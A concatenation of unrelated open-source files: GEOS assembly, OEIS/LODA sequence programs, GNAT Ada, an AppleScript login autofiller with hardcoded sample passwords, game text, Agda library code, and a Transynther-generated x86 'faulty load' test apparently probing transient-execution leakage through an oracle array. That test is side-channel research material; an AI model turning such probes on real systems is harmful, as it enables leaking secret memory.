; background.
;
push cx ; save file type
push bp ; stack frame
mov ax, MSG_GEN_INTERACTION_INITIATE_NO_DISTURB
GetResourceHandleNS GCExportControl, bx
mov si, offset GCExportControl
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop bp ; stack frame
;
; Get the format-type selector (a GenDynamicList).
;
push bp
GetResourceHandleNS GCExportControl, bx
mov si, offset GCExportControl
mov ax, MSG_EXPORT_CONTROL_GET_FORMAT_LIST
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ^lcx:dx = format list
pop bp
;
; Set the output format (hack, hack, hack)
;
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, cx
mov si, dx ; GenItemGroup => BX:SI
pop cx ; GeoCalcDocumentFileType => CX
cmp cx, GCDFT_CSV
mov cx, 0 ; "CSV" is listed first
je setSelection
mov cx, 1 ; "Lotus 123" is second
setSelection:
push bp
clr dx
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG
mov cx, 1 ; pretend user clicked on entry
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop bp
mov ax, 10 ; !!!hack!!!
call TimerSleep ; sleep for a bit to make sure
; the Import DB finishes with
; setting the default file name
;
; Set the output path to whatever the user selected in the
; "save-as" dialog (it's in DocumentCommonParams).
;
GetResourceHandleNS GCExportControl, bx
mov si, offset GCExportControl
mov ax, MSG_EXPORT_CONTROL_GET_FILE_SELECTOR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
movdw bxsi, cxdx ; ^lbx:si = file selector
push bp
mov ax, MSG_GEN_PATH_SET
mov cx, ss
lea dx, ss:[bp].DCP_path
mov bp, ss:[bp].DCP_diskHandle
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop bp
;
; Set the output filename to whatever the user had in the
; "save-as" dialog (it's in DocumentCommonParams).
;
mov ax, MSG_EXPORT_CONTROL_GET_FILE_NAME_FIELD
GetResourceHandleNS GCExportControl, bx
mov si, offset GCExportControl
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ^lcx:dx = optr
Assert optr, cxdx
movdw bxsi, cxdx
mov dx, ss
lea bp, ss:[bp].DCP_name ; ss:bp = filename
clr cx ; null-terminated
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
;
; Tell it to do the export now.
;
mov ax, MSG_GEN_GUP_INTERACTION_COMMAND
GetResourceHandleNS GCExportControl, bx
mov si, offset GCExportControl
mov cx, IC_DISMISS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov ax, MSG_EXPORT_CONTROL_EXPORT
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
ExportDocTransparently endp
endif
Document ends
|
programs/oeis/095/A095311.asm | neoneye/loda | 22 | 8889 | <gh_stars>10-100
; A095311: 47-gonal numbers.
; 1,47,138,274,455,681,952,1268,1629,2035,2486,2982,3523,4109,4740,5416,6137,6903,7714,8570,9471,10417,11408,12444,13525,14651,15822,17038,18299,19605,20956,22352,23793,25279,26810,28386,30007,31673,33384
mov $1,45
mul $1,$0
add $1,2
mov $2,$0
add $2,1
mul $1,$2
div $1,2
mov $0,$1
|
llvm-gcc-4.2-2.9/gcc/ada/opt.adb | vidkidz/crossbridge | 1 | 7780 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- O P T --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2006, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Gnatvsn; use Gnatvsn;
with System; use System;
with Tree_IO; use Tree_IO;
package body Opt is
----------------------------------
-- Register_Opt_Config_Switches --
----------------------------------
procedure Register_Opt_Config_Switches is
begin
Ada_Version_Config := Ada_Version;
Ada_Version_Explicit_Config := Ada_Version_Explicit;
Assertions_Enabled_Config := Assertions_Enabled;
Debug_Pragmas_Enabled_Config := Debug_Pragmas_Enabled;
Dynamic_Elaboration_Checks_Config := Dynamic_Elaboration_Checks;
Exception_Locations_Suppressed_Config := Exception_Locations_Suppressed;
Extensions_Allowed_Config := Extensions_Allowed;
External_Name_Exp_Casing_Config := External_Name_Exp_Casing;
External_Name_Imp_Casing_Config := External_Name_Imp_Casing;
Persistent_BSS_Mode_Config := Persistent_BSS_Mode;
Polling_Required_Config := Polling_Required;
Use_VADS_Size_Config := Use_VADS_Size;
end Register_Opt_Config_Switches;
---------------------------------
-- Restore_Opt_Config_Switches --
---------------------------------
procedure Restore_Opt_Config_Switches (Save : Config_Switches_Type) is
begin
Ada_Version := Save.Ada_Version;
Ada_Version_Explicit := Save.Ada_Version_Explicit;
Assertions_Enabled := Save.Assertions_Enabled;
Debug_Pragmas_Enabled := Save.Debug_Pragmas_Enabled;
Dynamic_Elaboration_Checks := Save.Dynamic_Elaboration_Checks;
Exception_Locations_Suppressed := Save.Exception_Locations_Suppressed;
Extensions_Allowed := Save.Extensions_Allowed;
External_Name_Exp_Casing := Save.External_Name_Exp_Casing;
External_Name_Imp_Casing := Save.External_Name_Imp_Casing;
Persistent_BSS_Mode := Save.Persistent_BSS_Mode;
Polling_Required := Save.Polling_Required;
Use_VADS_Size := Save.Use_VADS_Size;
end Restore_Opt_Config_Switches;
------------------------------
-- Save_Opt_Config_Switches --
------------------------------
procedure Save_Opt_Config_Switches (Save : out Config_Switches_Type) is
begin
Save.Ada_Version := Ada_Version;
Save.Ada_Version_Explicit := Ada_Version_Explicit;
Save.Assertions_Enabled := Assertions_Enabled;
Save.Debug_Pragmas_Enabled := Debug_Pragmas_Enabled;
Save.Dynamic_Elaboration_Checks := Dynamic_Elaboration_Checks;
Save.Exception_Locations_Suppressed := Exception_Locations_Suppressed;
Save.Extensions_Allowed := Extensions_Allowed;
Save.External_Name_Exp_Casing := External_Name_Exp_Casing;
Save.External_Name_Imp_Casing := External_Name_Imp_Casing;
Save.Persistent_BSS_Mode := Persistent_BSS_Mode;
Save.Polling_Required := Polling_Required;
Save.Use_VADS_Size := Use_VADS_Size;
end Save_Opt_Config_Switches;
-----------------------------
-- Set_Opt_Config_Switches --
-----------------------------
procedure Set_Opt_Config_Switches
(Internal_Unit : Boolean;
Main_Unit : Boolean)
is
begin
-- Case of internal unit
if Internal_Unit then
-- Set standard switches. Note we do NOT set Ada_Version_Explicit
-- since the whole point of this is that it still properly indicates
-- the configuration setting even in a run time unit.
Ada_Version := Ada_Version_Runtime;
Dynamic_Elaboration_Checks := False;
Extensions_Allowed := True;
External_Name_Exp_Casing := As_Is;
External_Name_Imp_Casing := Lowercase;
Persistent_BSS_Mode := False;
Use_VADS_Size := False;
-- For an internal unit, assertions/debug pragmas are off unless this
-- is the main unit and they were explicitly enabled.
if Main_Unit then
Assertions_Enabled := Assertions_Enabled_Config;
Debug_Pragmas_Enabled := Debug_Pragmas_Enabled_Config;
else
Assertions_Enabled := False;
Debug_Pragmas_Enabled := False;
end if;
-- Case of non-internal unit
else
Ada_Version := Ada_Version_Config;
Ada_Version_Explicit := Ada_Version_Explicit_Config;
Assertions_Enabled := Assertions_Enabled_Config;
Debug_Pragmas_Enabled := Debug_Pragmas_Enabled_Config;
Dynamic_Elaboration_Checks := Dynamic_Elaboration_Checks_Config;
Extensions_Allowed := Extensions_Allowed_Config;
External_Name_Exp_Casing := External_Name_Exp_Casing_Config;
External_Name_Imp_Casing := External_Name_Imp_Casing_Config;
Persistent_BSS_Mode := Persistent_BSS_Mode_Config;
Use_VADS_Size := Use_VADS_Size_Config;
end if;
Exception_Locations_Suppressed := Exception_Locations_Suppressed_Config;
Polling_Required := Polling_Required_Config;
end Set_Opt_Config_Switches;
---------------
-- Tree_Read --
---------------
procedure Tree_Read is
Tree_Version_String_Len : Nat;
Ada_Version_Config_Val : Nat;
Ada_Version_Explicit_Config_Val : Nat;
Assertions_Enabled_Config_Val : Nat;
begin
Tree_Read_Int (Tree_ASIS_Version_Number);
Tree_Read_Bool (Brief_Output);
Tree_Read_Bool (GNAT_Mode);
Tree_Read_Char (Identifier_Character_Set);
Tree_Read_Int (Maximum_File_Name_Length);
Tree_Read_Data (Suppress_Options'Address,
Suppress_Array'Object_Size / Storage_Unit);
Tree_Read_Bool (Verbose_Mode);
Tree_Read_Data (Warning_Mode'Address,
Warning_Mode_Type'Object_Size / Storage_Unit);
Tree_Read_Int (Ada_Version_Config_Val);
Tree_Read_Int (Ada_Version_Explicit_Config_Val);
Tree_Read_Int (Assertions_Enabled_Config_Val);
Tree_Read_Bool (All_Errors_Mode);
Tree_Read_Bool (Assertions_Enabled);
Tree_Read_Bool (Debug_Pragmas_Enabled);
Tree_Read_Bool (Enable_Overflow_Checks);
Tree_Read_Bool (Full_List);
Ada_Version_Config :=
Ada_Version_Type'Val (Ada_Version_Config_Val);
Ada_Version_Explicit_Config :=
Ada_Version_Type'Val (Ada_Version_Explicit_Config_Val);
Assertions_Enabled_Config :=
Boolean'Val (Assertions_Enabled_Config_Val);
-- Read version string: we have to get the length first
Tree_Read_Int (Tree_Version_String_Len);
declare
Tmp : String (1 .. Integer (Tree_Version_String_Len));
begin
Tree_Read_Data
(Tmp'Address, Tree_Version_String_Len);
GNAT.Strings.Free (Tree_Version_String);
Free (Tree_Version_String);
Tree_Version_String := new String'(Tmp);
end;
Tree_Read_Data (Distribution_Stub_Mode'Address,
Distribution_Stub_Mode_Type'Object_Size / Storage_Unit);
Tree_Read_Bool (Inline_Active);
Tree_Read_Bool (Inline_Processing_Required);
Tree_Read_Bool (List_Units);
Tree_Read_Bool (Configurable_Run_Time_Mode);
Tree_Read_Data (Operating_Mode'Address,
Operating_Mode_Type'Object_Size / Storage_Unit);
Tree_Read_Bool (Suppress_Checks);
Tree_Read_Bool (Try_Semantics);
Tree_Read_Data (Wide_Character_Encoding_Method'Address,
WC_Encoding_Method'Object_Size / Storage_Unit);
Tree_Read_Bool (Upper_Half_Encoding);
Tree_Read_Bool (Force_ALI_Tree_File);
end Tree_Read;
----------------
-- Tree_Write --
----------------
procedure Tree_Write is
Version_String : String := Gnat_Version_String;
begin
Tree_Write_Int (ASIS_Version_Number);
Tree_Write_Bool (Brief_Output);
Tree_Write_Bool (GNAT_Mode);
Tree_Write_Char (Identifier_Character_Set);
Tree_Write_Int (Maximum_File_Name_Length);
Tree_Write_Data (Suppress_Options'Address,
Suppress_Array'Object_Size / Storage_Unit);
Tree_Write_Bool (Verbose_Mode);
Tree_Write_Data (Warning_Mode'Address,
Warning_Mode_Type'Object_Size / Storage_Unit);
Tree_Write_Int (Ada_Version_Type'Pos (Ada_Version_Config));
Tree_Write_Int (Ada_Version_Type'Pos (Ada_Version_Explicit_Config));
Tree_Write_Int (Boolean'Pos (Assertions_Enabled_Config));
Tree_Write_Bool (All_Errors_Mode);
Tree_Write_Bool (Assertions_Enabled);
Tree_Write_Bool (Debug_Pragmas_Enabled);
Tree_Write_Bool (Enable_Overflow_Checks);
Tree_Write_Bool (Full_List);
Tree_Write_Int (Int (Version_String'Length));
Tree_Write_Data (Version_String'Address,
Version_String'Length);
Tree_Write_Data (Distribution_Stub_Mode'Address,
Distribution_Stub_Mode_Type'Object_Size / Storage_Unit);
Tree_Write_Bool (Inline_Active);
Tree_Write_Bool (Inline_Processing_Required);
Tree_Write_Bool (List_Units);
Tree_Write_Bool (Configurable_Run_Time_Mode);
Tree_Write_Data (Operating_Mode'Address,
Operating_Mode_Type'Object_Size / Storage_Unit);
Tree_Write_Bool (Suppress_Checks);
Tree_Write_Bool (Try_Semantics);
Tree_Write_Data (Wide_Character_Encoding_Method'Address,
WC_Encoding_Method'Object_Size / Storage_Unit);
Tree_Write_Bool (Upper_Half_Encoding);
Tree_Write_Bool (Force_ALI_Tree_File);
end Tree_Write;
end Opt;
|
oeis/003/A003071.asm | neoneye/loda-programs | 11 | 5671 | <reponame>neoneye/loda-programs<filename>oeis/003/A003071.asm
; A003071: Sorting numbers: maximal number of comparisons for sorting n elements by list merging.
; Submitted by <NAME>
; 0,1,3,5,9,11,14,17,25,27,30,33,38,41,45,49,65,67,70,73,78,81,85,89,98,101,105,109,115,119,124,129,161,163,166,169,174,177,181,185,194,197,201,205,211,215,220,225,242,245,249,253,259,263,268,273,283,287,292,297,304,309,315,321,385,387,390,393,398,401,405,409,418,421,425,429,435,439,444,449,466,469,473,477,483,487,492,497,507,511,516,521,528,533,539,545,578,581,585,589
mov $6,$0
mov $7,$0
lpb $6
mov $0,$7
mov $1,0
sub $6,1
sub $0,$6
add $0,1
mov $2,1
lpb $0
mov $3,$0
lpb $3
sub $0,1
add $1,6
mov $3,$4
mov $5,$2
cmp $5,1
lpe
mov $2,2
lpb $0
dif $0,$2
mul $5,$2
lpe
add $5,1
mul $1,$5
lpe
mov $0,$1
sub $0,12
div $0,6
add $8,$0
lpe
mov $0,$8
|
programs/oeis/083/A083120.asm | karttu/loda | 1 | 166492 | ; A083120: Numbers that are congruent to {0, 2, 4, 5, 7, 9, 10} mod 12.
; 0,2,4,5,7,9,10,12,14,16,17,19,21,22,24,26,28,29,31,33,34,36,38,40,41,43,45,46,48,50,52,53,55,57,58,60,62,64,65,67,69,70,72,74,76,77,79,81,82,84,86,88,89,91,93,94,96,98,100,101,103,105,106,108,110,112,113,115,117,118,120,122,124,125,127,129,130,132,134,136,137,139,141,142,144,146,148,149,151,153,154,156,158,160,161,163,165,166,168,170,172,173,175,177,178,180,182,184,185,187,189,190,192,194,196,197,199,201,202,204,206,208,209,211,213,214,216,218,220,221,223,225,226,228,230,232,233,235,237,238,240,242,244,245,247,249,250,252,254,256,257,259,261,262,264,266,268,269,271,273,274,276,278,280,281,283,285,286,288,290,292,293,295,297,298,300,302,304,305,307,309,310,312,314,316,317,319,321,322,324,326,328,329,331,333,334,336,338,340,341,343,345,346,348,350,352,353,355,357,358,360,362,364,365,367,369,370,372,374,376,377,379,381,382,384,386,388,389,391,393,394,396,398,400,401,403,405,406,408,410,412,413,415,417,418,420,422,424,425,427
mul $0,12
mov $1,$0
add $1,4
div $1,7
|
oeis/020/A020720.asm | loda-lang/loda-programs | 11 | 102499 | <filename>oeis/020/A020720.asm
; A020720: Pisot sequences E(7,9), P(7,9).
; Submitted by <NAME>
; 7,9,12,16,21,28,37,49,65,86,114,151,200,265,351,465,616,816,1081,1432,1897,2513,3329,4410,5842,7739,10252,13581,17991,23833,31572,41824,55405,73396,97229,128801,170625,226030,299426,396655,525456,696081,922111,1221537,1618192,2143648,2839729,3761840,4983377,6601569,8745217,11584946,15346786,20330163,26931732,35676949,47261895,62608681,82938844,109870576,145547525,192809420,255418101,338356945,448227521,593775046,786584466,1042002567,1380359512,1828587033,2422362079,3208946545,4250949112
add $0,8
lpb $0
seq $0,134816 ; Padovan's spiral numbers.
mov $1,$0
mov $0,0
lpe
mov $0,$1
|
main.applescript | Cottin/little-login-manager | 0 | 3865 | set logins to {}
-- description, username, password
set end of logins to {"<EMAIL>", "<PASSWORD>98"}
set end of logins to {"<EMAIL>", "asdqwe1"}
set end of logins to {"<EMAIL>", "qweasdzxc"}
set end of logins to {"<EMAIL>", "<PASSWORD>"}
set end of logins to {"<EMAIL>", "<PASSWORD>"}
-- to make script move slower so you can see what happens, set debugDelay to 1
set debugDelay to 0
set frontApp to (path to frontmost application as Unicode text)
-- map logins to names
set names to {}
repeat with name in logins
set end of names to (get item 1 in name)
end repeat
activate
-- show UI with list of templates
choose from list names with title "Logins" with prompt "Choose Login:" default items (get item 1 in names)
set chosenName to result
-- http://stackoverflow.com/questions/8621290/how-to-tell-an-applescript-to-stop-executing
if chosenName is false then
error number -128
end if
-- set chosenLogin manually. There is probably a better way to do this.
set chosenLogin to {}
set counter to 1
repeat with name in names
-- for some reason name = chosenName does not work. Internet says string comparasion should work..
if name & "STR_END" contains chosenName & "STR_END" then
set chosenLogin to (get item counter in logins)
end if
set counter to counter + 1
end repeat
delay 0.2 + debugDelay
tell application frontApp
activate
end tell
delay 0.2 + debugDelay
my stroke((get item 1 in chosenLogin))
delay 0.2 + debugDelay
tell application "System Events" to keystroke tab
my stroke((get item 2 in chosenLogin))
delay 0.2 + debugDelay
tell application "System Events" to keystroke tab
delay 0.2 + debugDelay
tell application "System Events" to keystroke return
on stroke(str)
-- because of flash problems...
-- http://stackoverflow.com/questions/25502830/applescript-to-keystroke-too-fast-for-flash/25505115#25505115
set myChar to characters of str
set myDelay to 0.01
tell application "System Events"
delay 0.2
repeat with aChar in myChar
keystroke aChar
delay myDelay
end repeat
end tell
end stroke
|
programs/oeis/081/A081334.asm | neoneye/loda | 22 | 20922 | ; A081334: sigma(2*n^2) modulo 4.
; 3,3,3,3,1,3,3,3,3,1,3,3,1,3,1,3,1,3,3,1,3,3,3,3,3,1,3,3,1,1,3,3,3,1,1,3,1,3,1,1,1,3,3,3,1,3,3,3,3,3,1,1,1,3,1,3,3,1,3,1,1,3,3,3,3,3,3,1,3,1,3,3,1,1,3,3,3,1,3,1,3,1,3,3,3,3,1,3,1,1,1,3,3,3,1,3,1,3,3,3
seq $0,7913 ; Squarefree part of n: a(n) is the smallest positive number m such that n/m is a square.
sub $0,1
seq $0,97022 ; a(n) = (sigma(2n^2)-3)/6.
gcd $0,2
mul $0,2
sub $0,1
|
text/maps/SilphCo3F.asm | AmateurPanda92/pokemon-rby-dx | 9 | 83268 | <filename>text/maps/SilphCo3F.asm
_SilphCo3Text_59ff9::
text "I work for SILPH."
line "What should I do?"
done
_SilphCo3Text_59ffe::
text "<PLAYER>! You and"
line "your #MON"
cont "saved us!"
done
_SilphCo3BattleText1::
text "Quit messing with"
line "us, kid!"
done
_SilphCo3EndBattleText1::
text "I give"
line "up!"
prompt
_SilphCo3AfterBattleText1::
text "A hint? You can"
line "open doors with a"
cont "CARD KEY!"
done
_SilphCo3BattleText2::
text "I support TEAM"
line "ROCKET more than"
cont "I support SILPH!"
done
_SilphCo3EndBattleText2::
text "You"
line "really got me!"
prompt
_SilphCo3AfterBattleText2::
text "Humph..."
para "TEAM ROCKET said"
line "that if I helped"
cont "them, they'd let"
cont "me study #MON!"
done
|
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_1549_394.asm | ljhsiun2/medusa | 9 | 163599 | <filename>Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_1549_394.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rbx
push %rdi
push %rdx
lea addresses_normal_ht+0xe114, %rdi
xor %r15, %r15
movb (%rdi), %bl
nop
nop
nop
nop
nop
xor $56020, %rdx
pop %rdx
pop %rdi
pop %rbx
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rbp
push %rbx
push %rdx
// Load
lea addresses_RW+0xdfb4, %r13
nop
xor %rbx, %rbx
mov (%r13), %edx
nop
nop
nop
nop
xor $12394, %rbx
// Faulty Load
lea addresses_US+0xdfb4, %rbp
nop
nop
inc %r10
mov (%rbp), %r11
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rdx
pop %rbx
pop %rbp
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'00': 1549}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
test/asset/agda-stdlib-1.0/Data/Container/Indexed/FreeMonad.agda | omega12345/agda-mode | 0 | 7642 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- The free monad construction on indexed containers
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe --guardedness #-}
module Data.Container.Indexed.FreeMonad where
open import Level
open import Function hiding (const)
open import Category.Monad.Predicate
open import Data.Container.Indexed
open import Data.Container.Indexed.Combinator hiding (id; _∘_)
open import Data.Empty
open import Data.Sum using (inj₁; inj₂)
open import Data.Product
open import Data.W.Indexed
open import Relation.Unary
open import Relation.Unary.PredicateTransformer
open import Relation.Binary.PropositionalEquality
------------------------------------------------------------------------
infixl 9 _⋆C_
infix 9 _⋆_
_⋆C_ : ∀ {i o c r} {I : Set i} {O : Set o} →
Container I O c r → Pred O c → Container I O _ _
C ⋆C X = const X ⊎ C
_⋆_ : ∀ {ℓ} {O : Set ℓ} → Container O O ℓ ℓ → Pt O ℓ
C ⋆ X = μ (C ⋆C X)
pattern returnP x = (inj₁ x , _)
pattern doP c k = (inj₂ c , k)
inn : ∀ {ℓ} {O : Set ℓ} {C : Container O O ℓ ℓ} {X} →
⟦ C ⟧ (C ⋆ X) ⊆ C ⋆ X
inn (c , k) = sup (doP c k)
rawPMonad : ∀ {ℓ} {O : Set ℓ} {C : Container O O ℓ ℓ} →
RawPMonad {ℓ = ℓ} (_⋆_ C)
rawPMonad {C = C} = record
{ return? = return
; _=<?_ = _=<<_
}
where
return : ∀ {X} → X ⊆ C ⋆ X
return x = sup (inj₁ x , ⊥-elim ∘ lower)
_=<<_ : ∀ {X Y} → X ⊆ C ⋆ Y → C ⋆ X ⊆ C ⋆ Y
f =<< sup (returnP x) = f x
f =<< sup (doP c k) = inn (c , λ r → f =<< k r)
leaf : ∀ {ℓ} {O : Set ℓ} {C : Container O O ℓ ℓ} {X : Pred O ℓ} →
⟦ C ⟧ X ⊆ C ⋆ X
leaf (c , k) = inn (c , return? ∘ k)
where
open RawPMonad rawPMonad
generic : ∀ {ℓ} {O : Set ℓ} {C : Container O O ℓ ℓ} {o}
(c : Command C o) →
o ∈ C ⋆ (⋃[ r ∶ Response C c ] { next C c r })
generic c = inn (c , λ r → return? (r , refl))
where
open RawPMonad rawPMonad
|
agda-stdlib/src/Data/Product/Relation/Binary/Lex/NonStrict.agda | DreamLinuxer/popl21-artifact | 5 | 7251 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Lexicographic products of binary relations
------------------------------------------------------------------------
-- The definition of lexicographic product used here is suitable if
-- the left-hand relation is a (non-strict) partial order.
{-# OPTIONS --without-K --safe #-}
module Data.Product.Relation.Binary.Lex.NonStrict where
open import Data.Product using (_×_; _,_; proj₁; proj₂)
open import Data.Sum.Base using (inj₁; inj₂)
open import Level using (Level)
open import Relation.Binary
open import Relation.Binary.Consequences
import Relation.Binary.Construct.NonStrictToStrict as Conv
open import Data.Product.Relation.Binary.Pointwise.NonDependent as Pointwise
using (Pointwise)
import Data.Product.Relation.Binary.Lex.Strict as Strict
private
variable
a b ℓ₁ ℓ₂ ℓ₃ ℓ₄ : Level
A : Set a
B : Set b
------------------------------------------------------------------------
-- Definition
×-Lex : (_≈₁_ : Rel A ℓ₁) (_≤₁_ : Rel A ℓ₂) (_≤₂_ : Rel B ℓ₃) →
Rel (A × B) _
×-Lex _≈₁_ _≤₁_ _≤₂_ = Strict.×-Lex _≈₁_ (Conv._<_ _≈₁_ _≤₁_) _≤₂_
------------------------------------------------------------------------
-- Properties
×-reflexive : (_≈₁_ : Rel A ℓ₁) (_≤₁_ : Rel A ℓ₂)
{_≈₂_ : Rel B ℓ₃} (_≤₂_ : Rel B ℓ₄) →
_≈₂_ ⇒ _≤₂_ →
(Pointwise _≈₁_ _≈₂_) ⇒ (×-Lex _≈₁_ _≤₁_ _≤₂_)
×-reflexive _≈₁_ _≤₁_ _≤₂_ refl₂ =
Strict.×-reflexive _≈₁_ (Conv._<_ _≈₁_ _≤₁_) _≤₂_ refl₂
module _ {_≈₁_ : Rel A ℓ₁} {_≤₁_ : Rel A ℓ₂} {_≤₂_ : Rel B ℓ₃} where
private
_≤ₗₑₓ_ = ×-Lex _≈₁_ _≤₁_ _≤₂_
×-transitive : IsPartialOrder _≈₁_ _≤₁_ → Transitive _≤₂_ →
Transitive _≤ₗₑₓ_
×-transitive po₁ trans₂ =
Strict.×-transitive {_≈₁_ = _≈₁_} {_<₂_ = _≤₂_}
isEquivalence (Conv.<-resp-≈ _ _ isEquivalence ≤-resp-≈)
(Conv.<-trans _ _ po₁)
trans₂
where open IsPartialOrder po₁
×-total : Symmetric _≈₁_ → Decidable _≈₁_ → Antisymmetric _≈₁_ _≤₁_ →
Total _≤₁_ → Total _≤₂_ → Total _≤ₗₑₓ_
×-total sym₁ dec₁ antisym₁ total₁ total₂ =
total
where
tri₁ : Trichotomous _≈₁_ (Conv._<_ _≈₁_ _≤₁_)
